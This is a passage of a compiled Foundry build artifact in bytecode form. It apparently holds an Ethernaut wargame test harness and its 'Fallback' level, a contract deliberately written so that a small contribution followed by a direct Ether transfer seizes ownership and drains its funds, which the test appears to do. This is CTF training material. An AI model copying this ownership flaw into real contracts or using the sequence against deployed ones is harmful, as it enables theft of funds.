d575f80fd5b818601915086601f830112610770575f80fd5b81358181111561077e575f80fd5b87602082850101111561078f575f80fd5b6020830194508093505050509250925092565b5f5b838110156107bc5781810151838201526020016107a4565b50505f910152565b5f82516107d58184602087016107a2565b9190910192915050565b602081525f82518060208401526107fd8160408501602087016107a2565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212203e1cf275377e8bb61cf9b931569a705adcb93eec1d89a2b1d063e39d5340117464736f6c63430008180033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220ac11231ea0194b7bb3da6c55200a977b4ae2e5657a1594e256ea966ad50dff8464736f6c63430008180033","sourceMap":"3126:44:2:-:0;;;3166:4;-1:-1:-1;;3126:44:2;;;;;;;1016:26:12;;;;;;;;;-1:-1:-1;;;420:32:154;216:27:155;340:1712:129;420:32:154;259:12:155;340:1712:129;420:32:154;410:43;382:71;;340:1712:129;;;;;;;;;;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405234801562000010575f80fd5b50600436106200018c575f3560e01c806385226c8111620000e3578063b5d11e991162000093578063e20c9f71116200006b578063e20c9f711462000314578063f82de7b0146200031e578063fa7626d41462000335575f80fd5b8063b5d11e9914620002d3578063b90a68fa14620002dd578063ba414fa6146200030a575f80fd5b8063916a17c611620000c7578063916a17c614620002975780639b59adbc14620002a1578063b5508aa914620002c9575f80fd5b806385226c81146200026757806385db81cc1462000280575f80fd5b80633e5e3c23116200013f57806366d9a9a0116200012357806366d9a9a0146200022d578063792e11f51462000246578063832e5fc2146200025d575f80fd5b80633e5e3c2314620002195780633f7286f41462000223575f80fd5b80631ed7831c11620001735780631ed7831c14620001d05780632356661a14620001e95780632ade38801462000200575f80fd5b80630a9254e414620001905780631c7db669146200019c575b5f80fd5b6200019a62000343565b005b620001b3620001ad36600462001c30565b620007ff565b6040516001600160a01b0390911681526020015b60405180910390f35b620001da620009c9565b604051620001c7919062001c73565b620001b3620001fa36600462001d5f565b62000a2b565b6200020a62000bf6565b604051620001c7919062001e32565b620001da62000d3e565b620001da62000d9e565b6200023762000dfe565b604051620001c7919062001ef5565b620001da6200025736600462001fc2565b62000ef8565b6200019a62001088565b62000271620012db565b604051620001c7919062001fda565b620001b36200029136600462002040565b620013b0565b62000237620014cf565b620002b8620002b23660046200205e565b620015c9565b6040519015158152602001620001c7565b6200027162001759565b6200019a6200182e565b601f80546040805160208082018490528251808303820181529183019092528051910120909155620001b3565b620002b8620018c7565b620001da6200199b565b6200019a6200032f36600462001fc2565b620019fb565b601e54620002b89060ff1681565b5f62000350600262000ef8565b9050805f815181106200036757620003676200209a565b60209081029190910101516022805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600560448201527f4f776e65720000000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b1580156200041c575f80fd5b505af11580156200042f573d5f803e3d5ffd5b50505050806001815181106200044957620004496200209a565b60209081029190910101516023805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600660448201527f506c6179657200000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b158015620004fe575f80fd5b505af115801562000511573d5f803e3d5ffd5b50506022546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b1580156200056c575f80fd5b505af11580156200057f573d5f803e3d5ffd5b50506022546200059b92506001600160a01b03169050620013b0565b6020805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03929092169190911790556040515f90620005d89062001be3565b604051809103905ff080158015620005f2573d5f803e3d5ffd5b506020546040517f202023d40000000000000000000000000000000000000000000000000000000081526001600160a01b03808416600483015292935091169063202023d4906024015f604051808303815f87803b15801562000653575f80fd5b505af115801562000666573d5f803e3d5ffd5b505050507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620006c5575f80fd5b505af1158015620006d8573d5f803e3d5ffd5b50506023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b15801562000733575f80fd5b505af115801562000746573d5f803e3d5ffd5b50506020546200076492506001600160a01b03169050825f620007ff565b60215f6101000a8154816001600160a01b0302191690836001600160a01b031602179055507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620007e4575f80fd5b505af1158015620007f7573d5f803e3d5ffd5b505050505050565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b1580156200085b575f80fd5b505af11580156200086e573d5f803e3d5ffd5b50506040517fdfc86b170000000000000000000000000000000000000000000000000000000081526001600160a01b0386811660048301528716925063dfc86b17915084906024015f604051808303818588803b158015620008ce575f80fd5b505af1158015620008e1573d5f803e3d5ffd5b50505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af115801562000946573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f191682016040526200096f91908101906200213b565b90508060018251620009829190620022cb565b815181106200099557620009956200209a565b60200260200101515f0151600281518110620009b557620009b56200209a565b60200260200101515f1c9150509392505050565b6060601680548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f20905b81546001600160a01b0316815260019091019060200180831162000a02575b5050505050905090565b5f807f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663d930a0e66040518163ffffffff1660e01b81526004015f60405180830381865afa15801562000a8b573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000ab49190810190620022e1565b90505f81848560405160200162000acd92919062002333565b60408051601f198184030181529082905262000aed9291602001620023e1565b60408051601f19818403018152908290527f60f9bb1100000000000000000000000000000000000000000000000000000000825291505f90737109709ecfa91a80626ff3989d68f67f5b1dd12d906360f9bb119062000b5190859060040162002413565b5f60405180830381865afa15801562000b6c573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000b959190810190620022e1565b90505f62000be26040518060400160405280601081526020017f2e62797465636f64652e6f626a656374000000000000000000000000000000008152508362001a6f90919063ffffffff16565b90508051602082015ff09695505050505050565b6060601d805480602002602001604051908101604052809291908181526020015f905b8282101562000d35575f84815260208082206040805180820182526002870290920180546001600160a01b03168352600181018054835181870281018701909452808452939591948681019491929084015b8282101562000d1d578382905f5260205f2001805462000c8b9062002427565b80601f016020809104026020016040519081016040528092919081815260200182805462000cb99062002427565b801562000d085780601f1062000cde5761010080835404028352916020019162000d08565b820191905f5260205f20905b81548152906001019060200180831162000cea57829003601f168201915b50505050508152602001906001019062000c6b565b50505050815250508152602001906001019062000c19565b50505050905090565b6060601880548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a02575050505050905090565b6060601780548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a02575050505050905090565b6060601b805480602002602001604051908101604052809291908181526020015f905b8282101562000d35575f8481526020908190206040805180820182526002860290920180546001600160a01b0316835260018101805483518187028101870190945280845293949193858301939283018282801562000edf57602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19168152602001906004019060208260030104928301926001038202915080841162000e8b5790505b5050505050815250508152602001906001019062000e21565b60605f8267ffffffffffffffff81111562000f175762000f1762001cc1565b60405190808252806020026020018201604052801562000f41578160200160208202803683370190505b5090505f5b8381101562001081575f306001600160a01b031663b90a68fa6040518163ffffffff1660e01b81526004016020604051808303815f875af115801562000f8e573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000fb4919062002461565b6040517fc88a5e6d0000000000000000000000000000000000000000000000000000000081526001600160a01b038216600482015268056bc75e2d631000006024820152909150737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c88a5e6d906044015f604051808303815f87803b15801562001032575f80fd5b505af115801562001045573d5f803e3d5ffd5b50505050808383815181106200105f576200105f6200209a565b6001600160a01b03909216602092830291909101909101525060010162000f46565b5092915050565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b158015620010df575f80fd5b505af1158015620010f2573d5f803e3d5ffd5b5050505060215f9054906101000a90046001600160a01b03166001600160a01b031663d7bb99ba655af3107a40006040518263ffffffff1660e01b81526004015f604051808303818588803b1580156200114a575f80fd5b505af11580156200115d573d5f803e3d5ffd5b50506021546040515f94506001600160a01b039091169250600191508381818185875af1925050503d805f8114620011b1576040519150601f19603f3d011682016040523d82523d5f602084013e620011b6565b606091505b50509050806200124b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201526024808201527f4661696c656420746f2073656e6420457468657220746f2074686520696e737460448201527f616e636500000000000000000000000000000000000000000000000000000000606482015260840160405180910390fd5b60215f9054906101000a90046001600160a01b03166001600160a01b0316633ccfd60b6040518163ffffffff1660e01b81526004015f604051808303815f87803b15801562001298575f80fd5b505af1158015620012ab573d5f803e3d5ffd5b5050602054602154620012d89350620012d292506001600160a01b039182169116620015c9565b62001b11565b50565b6060601a805480602002602001604051908101604052809291908181526020015f905b8282101562000d35578382905f5260205f200180546200131e9062002427565b80601f01602080910402602001604051908101604052809291908181526020018280546200134c9062002427565b80156200139b5780601f1062001371576101008083540402835291602001916200139b565b820191905f5260205f20905b8154815290600101906020018083116200137d57829003601f168201915b505050505081526020019060010190620012fe565b5f80604051620013c09062001bf1565b604051809103905ff080158015620013da573d5f803e3d5ffd5b5090505f604051620013ec9062001bff565b604051809103905ff08015801562001406573d5f803e3d5ffd5b508483604051620014179062001c0d565b6001600160a01b03938416815291831660208301529091166040820152606001604051809103905ff08015801562001451573d5f803e3d5ffd5b506040517fbe117dfd0000000000000000000000000000000000000000000000000000000081526001600160a01b0380831660048301529192509083169063be117dfd906024015f604051808303815f87803b158015620014b0575f80fd5b505af1158015620014c3573d5f803e3d5ffd5b50939695505050505050565b6060601c805480602002602001604051908101604052809291908181526020015f905b8282101562000d35575f8481526020908190206040805180820182526002860290920180546001600160a01b03168352600181018054835181870281018701909452808452939491938583019392830182828015620015b057602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260200190600401906020826003010492830192600103820291508084116200155c5790505b50505050508152505081526020019060010190620014f2565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b15801562001625575f80fd5b505af115801562001638573d5f803e3d5ffd5b50506040517fc882d7c20000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301528616925063c882d7c291506024015f604051808303815f87803b15801562001696575f80fd5b505af1158015620016a9573d5f803e3d5ffd5b505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af11580156200170d573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f191682016040526200173691908101906200213b565b90506001815111156200174e57600191505062001753565b5f9150505b92915050565b60606019805480602002602001604051908101604052809291908181526020015f905b8282101562000d35578382905f5260205f200180546200179c9062002427565b80601f0160208091040260200160405190810160405280929190818152602001828054620017ca9062002427565b8015620018195780601f10620017ef5761010080835404028352916020019162001819565b820191905f5260205f20905b815481529060010190602001808311620017fb57829003601f168201915b5050505050815260200190600101906200177c565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b15801562001885575f80fd5b505af115801562001898573d5f803e3d5ffd5b5050602054602154620018c59350620018bf92506001600160a01b039182169116620015c9565b62001b90565b565b6008545f9060ff1615620018df575060085460ff1690565b6040517f667f9d70000000000000000000000000000000000000000000000000000000008152737109709ecfa91a80626ff3989d68f67f5b1dd12d600482018190527f6661696c6564000000000000000000000000000000000000000000000000000060248301525f9163667f9d7090604401602060405180830381865afa1580156200196e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200199491906200247f565b1415905090565b6060601580548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a02575050505050905090565b5f62001a08824362002497565b6040517f1f7b4f3000000000000000000000000000000000000000000000000000000000815260048101829052909150737109709ecfa91a80626ff3989d68f67f5b1dd12d90631f7b4f30906024015f604051808303815f87803b158015620007e4575f80fd5b6040517ffd921be8000000000000000000000000000000000000000000000000000000008152606090737109709ecfa91a80626ff3989d68f67f5b1dd12d9063fd921be89062001ac69086908690600401620024ad565b5f60405180830381865afa15801562001ae1573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262001b0a9190810190620024de565b9392505050565b6040517f0c9fd5810000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d90630c9fd581906024015b5f6040518083038186803b15801562001b76575f80fd5b505afa15801562001b89573d5f803e3d5ffd5b5050505050565b6040517fa59828850000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063a59828859060240162001b5f565b6107f7806200251583390190565b610ae58062002d0c83390190565b611e7a80620037f183390190565b610daa806200566b83390190565b6001600160a01b0381168114620012d8575f80fd5b5f805f6060848603121562001c43575f80fd5b833562001c508162001c1b565b9250602084013562001c628162001c1b565b929592945050506040919091013590565b602080825282518282018190525f9190848201906040850190845b8181101562001cb55783516001600160a01b03168352928401929184019160010162001c8e565b50909695505050505050565b634e487b7160e01b5f52604160045260245ffd5b6040516060810167ffffffffffffffff8111828210171562001cfb5762001cfb62001cc1565b60405290565b604051601f8201601f1916810167ffffffffffffffff8111828210171562001d2d5762001d2d62001cc1565b604052919050565b5f67ffffffffffffffff82111562001d515762001d5162001cc1565b50601f01601f191660200190565b5f6020828403121562001d70575f80fd5b813567ffffffffffffffff81111562001d87575f80fd5b8201601f8101841362001d98575f80fd5b803562001daf62001da98262001d35565b62001d01565b81815285602083850101111562001dc4575f80fd5b816020840160208301375f91810160200191909152949350505050565b5f5b8381101562001dfd57818101518382015260200162001de3565b50505f910152565b5f815180845262001e1e81602086016020860162001de1565b601f01601f19169290920160200192915050565b602080825282518282018190525f919060409081850190600581811b87018401888601875b8481101562001ee657603f198a8403018652815180516001600160a01b03168452880151888401889052805188850181905290890190606081871b8601810191908601905f5b8181101562001ecf57605f1988850301835262001ebc84865162001e05565b948d01949350918c019160010162001e9d565b505050968901969350509087019060010162001e57565b50909998505050505050505050565b5f60208083018184528085518083526040925060408601915060408160051b8701018488015f5b8381101562001fb457888303603f19018552815180516001600160a01b031684528701518784018790528051878501819052908801905f9060608601905b8083101562001f9e5783517fffffffff00000000000000000000000000000000000000000000000000000000168252928a019260019290920191908a019062001f5a565b5096890196945050509086019060010162001f1c565b509098975050505050505050565b5f6020828403121562001fd3575f80fd5b5035919050565b5f60208083016020845280855180835260408601915060408160051b8701019250602087015f5b828110156200203357603f198886030184526200202085835162001e05565b9450928501929085019060010162002001565b5092979650505050505050565b5f6020828403121562002051575f80fd5b813562001b0a8162001c1b565b5f806040838503121562002070575f80fd5b82356200207d8162001c1b565b915060208301356200208f8162001c1b565b809150509250929050565b634e487b7160e01b5f52603260045260245ffd5b5f67ffffffffffffffff821115620020ca57620020ca62001cc1565b5060051b60200190565b5f620020e462001da98462001d35565b9050828152838383011115620020f8575f80fd5b62001b0a83602083018462001de1565b5f82601f83011262002118575f80fd5b62001b0a83835160208501620020d4565b8051620021368162001c1b565b919050565b5f60208083850312156200214d575f80fd5b825167ffffffffffffffff8082111562002165575f80fd5b818501915085601f83011262002179575f80fd5b81516200218a62001da982620020ae565b81815260059190911b83018401908481019088831115620021a9575f80fd5b8585015b83811015620022aa57805185811115620021c5575f80fd5b86016060818c03601f19011215620021db575f80fd5b620021e562001cd5565b8882015187811115620021f6575f80fd5b8201603f81018d1362002207575f80fd5b898101516200221a62001da982620020ae565b81815260059190911b8201604001908b8101908f8311156200223a575f80fd5b6040840193505b828410156200225c5783518252928c0192908c019062002241565b845250505060408201518781111562002273575f80fd5b620022838d8b8386010162002108565b8a83015250620022966060830162002129565b6040820152845250918601918601620021ad565b5098975050505050505050565b634e487b7160e01b5f52601160045260245ffd5b81810381811115620017535762001753620022b7565b5f60208284031215620022f2575f80fd5b815167ffffffffffffffff81111562002309575f80fd5b8201601f810184136200231a575f80fd5b6200232b84825160208401620020d4565b949350505050565b7f2f6f75742f00000000000000000000000000000000000000000000000000000081525f83516200236c81600585016020880162001de1565b7f2e736f6c2f0000000000000000000000000000000000000000000000000000006005918401918201528351620023ab81600a84016020880162001de1565b7f2e6a736f6e000000000000000000000000000000000000000000000000000000600a9290910191820152600f01949350505050565b5f8351620023f481846020880162001de1565b8351908301906200240a81836020880162001de1565b01949350505050565b602081525f62001b0a602083018462001e05565b600181811c908216806200243c57607f821691505b6020821081036200245b57634e487b7160e01b5f52602260045260245ffd5b50919050565b5f6020828403121562002472575f80fd5b815162001b0a8162001c1b565b5f6020828403121562002490575f80fd5b5051919050565b80820180821115620017535762001753620022b7565b604081525f620024c1604083018562001e05565b8281036020840152620024d5818562001e05565b95945050505050565b5f60208284031215620024ef575f80fd5b815167ffffffffffffffff81111562002506575f80fd5b6200232b848285016200210856fe608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b61077d8061007a5f395ff3fe608060405260043610610058575f3560e01c80638da5cb5b116100415780638da5cb5b146100a2578063d38def5b146100be578063f2fde38b146100ed575f80fd5b8063715018a61461005c5780637726f77614610072575b5f80fd5b348015610067575f80fd5b5061007061010c565b005b610085610080366004610359565b61011f565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100ad575f80fd5b505f546001600160a01b0316610085565b3480156100c9575f80fd5b506100dd6100d836600461037b565b61014e565b6040519015158152602001610099565b3480156100f8575f80fd5b50610070610107366004610359565b6101e3565b610114610278565b61011d5f6102d1565b565b5f8060405161012d90610338565b604051809103905ff080158015610146573d5f803e3d5ffd5b509392505050565b5f80839050826001600160a01b0316816001600160a01b0316638da5cb5b6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610199573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101bd91906103b2565b6001600160a01b03161480156101db57506001600160a01b03811631155b949350505050565b6101eb610278565b6001600160a01b03811661026c5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b610275816102d1565b50565b5f546001600160a01b0316331461011d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610263565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b61037a806103ce83390190565b6001600160a01b0381168114610275575f80fd5b5f60208284031215610369575f80fd5b813561037481610345565b9392505050565b5f806040838503121561038c575f80fd5b823561039781610345565b915060208301356103a781610345565b809150509250929050565b5f602082840312156103c2575f80fd5b81516103748161034556fe608060405234801561000f575f80fd5b50600180546001600160a01b031916339081179091555f908152602081905260409020683635c9adc5dea00000905561032f8061004b5f395ff3fe60806040526004361061005b575f3560e01c80638da5cb5b116100415780638da5cb5b14610100578063d7bb99ba14610137578063f10fdf5c1461013f575f80fd5b80633ccfd60b146100ac57806342e94c90146100c2575f80fd5b366100a8575f3411801561007c5750335f9081526020819052604090205415155b610084575f80fd5b6001805473ffffffffffffffffffffffffffffffffffffffff191633908117909155005b5f80fd5b3480156100b7575f80fd5b506100c061015f565b005b3480156100cd575f80fd5b506100ed6100dc36600461028e565b5f6020819052908152604090205481565b6040519081526020015b60405180910390f35b34801561010b575f80fd5b5060015461011f906001600160a01b031681565b6040516001600160a01b0390911681526020016100f7565b6100c0610210565b34801561014a575f80fd5b50335f908152602081905260409020546100ed565b6001546001600160a01b031633146101d7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601760248201527f63616c6c6572206973206e6f7420746865206f776e6572000000000000000000604482015260640160405180910390fd5b6001546040516001600160a01b03909116904780156108fc02915f818181858888f1935050505015801561020d573d5f803e3d5ffd5b50565b66038d7ea4c680003410610222575f80fd5b335f90815260208190526040812080543492906102409084906102bb565b90915550506001546001600160a01b03165f9081526020819052604080822054338352912054111561028c576001805473ffffffffffffffffffffffffffffffffffffffff1916331790555b565b5f6020828403121561029e575f80fd5b81356001600160a01b03811681146102b4575f80fd5b9392505050565b808201808211156102f3577f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b9291505056fea2646970667358221220da6be5c84540332154b3e10482c62beb46861f512f81969bbbfb64f70a04416f64736f6c63430008180033a2646970667358221220214a663425b34a1fc181a75b09723612eb98c7fb4938c2194defea9689cf928164736f6c63430008180033608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610a6b8061007a5f395ff3fe6080604052600436106100ad575f3560e01c8063be117dfd11610066578063cf0046951161004c578063cf004695146101eb578063dfc86b1714610229578063f2fde38b1461023c575f80fd5b8063be117dfd146101ad578063c882d7c2146101cc575f80fd5b8063715018a611610096578063715018a61461014a5780638da5cb5b1461015e57806395e272bd1461018e575f80fd5b8063202023d4146100b15780634f17afd8146100d2575b5f80fd5b3480156100bc575f80fd5b506100d06100cb3660046109d9565b61025b565b005b3480156100dd575f80fd5b5061011d6100ec3660046109d9565b60036020525f9081526040902080546001909101546001600160a01b0391821691811690600160a01b900460ff1683565b604080516001600160a01b0394851681529390921660208401521515908201526060015b60405180910390f35b348015610155575f80fd5b506100d06102f6565b348015610169575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610141565b348015610199575f80fd5b50600154610176906001600160a01b031681565b3480156101b8575f80fd5b506100d06101c73660046109d9565b610309565b3480156101d7575f80fd5b506100d06101e63660046109d9565b610340565b3480156101f6575f80fd5b506102196102053660046109d9565b60026020525f908152604090205460ff1681565b6040519015158152602001610141565b6100d06102373660046109d9565b610642565b348015610247575f80fd5b506100d06102563660046109d9565b610880565b610263610910565b6001600160a01b038181165f8181526002602052604090819020805460ff191660019081179091555490517fcd819a6f00000000000000000000000000000000000000000000000000000000815260048101929092529091169063cd819a6f906024015f604051808303815f87803b1580156102dd575f80fd5b505af11580156102ef573d5f803e3d5ffd5b5050505050565b6102fe610910565b6103075f610969565b565b610311610910565b6001805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b6001600160a01b038082165f908152600360205260409020805490911633146103d65760405162461bcd60e51b815260206004820152603060248201527f5468697320696e7374616e636520646f65736e27742062656c6f6e6720746f2060448201527f7468652063757272656e7420757365720000000000000000000000000000000060648201526084015b60405180910390fd5b6001810154600160a01b900460ff16156104325760405162461bcd60e51b815260206004820181905260248201527f4c6576656c20686173206265656e20636f6d706c6574656420616c726561647960448201526064016103cd565b60018101546040517fd38def5b0000000000000000000000000000000000000000000000000000000081526001600160a01b0384811660048301523360248301529091169063d38def5b906044016020604051808303815f875af115801561049c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104c091906109fb565b156105b95760018181018054600160a01b7fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff82161790915590546040517f2c038c320000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301529283166024820152336044820152911690632c038c32906064015f604051808303815f87803b158015610561575f80fd5b505af1158015610573573d5f803e3d5ffd5b5050505060018101546040516001600160a01b039182169184169033907f5038a30b900118d4e513ba62ebd647a96726a6f81b8fda73c21e9da45df5423d905f90a45050565b60018054908201546040517fd0f191e00000000000000000000000000000000000000000000000000000000081526001600160a01b038581166004830152918216602482015233604482015291169063d0f191e0906064015f604051808303815f87803b158015610628575f80fd5b505af115801561063a573d5f803e3d5ffd5b505050505050565b6001600160a01b0381165f9081526002602052604090205460ff166106a95760405162461bcd60e51b815260206004820152601960248201527f54686973206c6576656c20646f65736e2774206578697374730000000000000060448201526064016103cd565b6040517f7726f7760000000000000000000000000000000000000000000000000000000081523360048201525f906001600160a01b03831690637726f77690349060240160206040518083038185885af1158015610709573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061072e9190610a1a565b60408051606081018252338082526001600160a01b0386811660208085018281525f8688018181528986168083526003909452908890209651875473ffffffffffffffffffffffffffffffffffffffff191690861617875590516001968701805492519186167fffffffffffffffffffffff00000000000000000000000000000000000000000090931692909217600160a01b91151591909102179055935494517f7e4326d3000000000000000000000000000000000000000000000000000000008152600481019490945260248401526044830191909152929350911690637e4326d3906064015f604051808303815f87803b15801561082d575f80fd5b505af115801561083f573d5f803e3d5ffd5b50506040516001600160a01b0380861693508416915033907f8be8bd7b4324b3d47aca5c3f64cb70e8f645e6fe94da668699951658f6384179905f90a45050565b610888610910565b6001600160a01b0381166109045760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016103cd565b61090d81610969565b50565b5f546001600160a01b031633146103075760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103cd565b5f80546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038116811461090d575f80fd5b5f602082840312156109e9575f80fd5b81356109f4816109c5565b9392505050565b5f60208284031215610a0b575f80fd5b815180151581146109f4575f80fd5b5f60208284031215610a2a575f80fd5b81516109f4816109c556fea2646970667358221220f875e80df3dbb1bbf8a1ba93e5adadf18e3885d13abc24020d489fb4c369f37264736f6c63430008180033608060405234801561000f575f80fd5b50611e5d8061001d5f395ff3fe608060405234801561000f575f80fd5b50600436106101bb575f3560e01c80639cbf280d116100f3578063d0f191e011610093578063e2d8716f1161006e578063e2d8716f146103ca578063f3a39909146103dd578063f71d96cb14610408578063fb66d7ab1461041b575f80fd5b8063d0f191e014610391578063d844f6a4146103a4578063e041ae9b146103b7575f80fd5b8063ba5d8082116100ce578063ba5d80821461031d578063bc3086a214610358578063c4d66de81461036b578063cd819a6f1461037e575f80fd5b80639cbf280d146102c7578063a7e1acdf146102da578063b2596a671461030a575f80fd5b80637cbe8d041161015e5780637e4326d3116101395780637e4326d3146102865780638b146ad6146102995780638dc03535146102ac578063900f09ac146102bf575f80fd5b80637cbe8d041461026e5780637ceb9533146102765780637e0ca04f1461027e575f80fd5b80633aa46685116101995780633aa466851461020d5780633d9aeaef14610235578063763fdb45146102485780637a9b6dda1461025b575f80fd5b806322ae77ec146101bf5780632c038c32146101e557806336204198146101fa575b5f80fd5b6101d26101cd366004611cab565b610423565b6040519081526020015b60405180910390f35b6101f86101f3366004611cdc565b61054f565b005b6101d2610208366004611d1c565b6109b1565b6101d261021b366004611d1c565b6001600160a01b03165f9081526010602052604090205490565b6101d2610243366004611d1c565b610a2d565b6101d2610256366004611d1c565b610aab565b6101d2610269366004611d1c565b610b27565b6003546101d2565b6005546101d2565b6002546101d2565b6101f8610294366004611cdc565b610ba3565b6101d26102a7366004611d1c565b610f29565b6101d26102ba366004611cab565b610fa5565b6004546101d2565b6101d26102d5366004611d1c565b611125565b5f546102f2906201000090046001600160a01b031681565b6040516001600160a01b0390911681526020016101dc565b6102f2610318366004611d35565b6111a0565b61034861032b366004611d1c565b6001600160a01b03165f908152600e602052604090205460ff1690565b60405190151581526020016101dc565b6101d2610366366004611d1c565b6111c8565b6101f8610379366004611d1c565b611257565b6101f861038c366004611d1c565b6113a1565b6101f861039f366004611cdc565b6114f0565b6101d26103b2366004611d4c565b61183e565b6101d26103c5366004611d1c565b6119c6565b6103486103d8366004611cab565b611a44565b6103486103eb366004611d1c565b6001600160a01b03165f908152600f602052604090205460ff1690565b6102f2610416366004611d35565b611b3f565b6001546101d2565b6001600160a01b0381165f908152600e6020526040812054829060ff166104885760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b60448201526064015b60405180910390fd5b836104aa816001600160a01b03165f908152600f602052604090205460ff1690565b6104ec5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038481165f908152600d6020908152604080832089851684529091529020541661051d575f610546565b6001600160a01b038085165f908152600d60209081526040808320938916835292905220600301545b95945050505050565b5f546201000090046001600160a01b031633146105bc5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b60648201526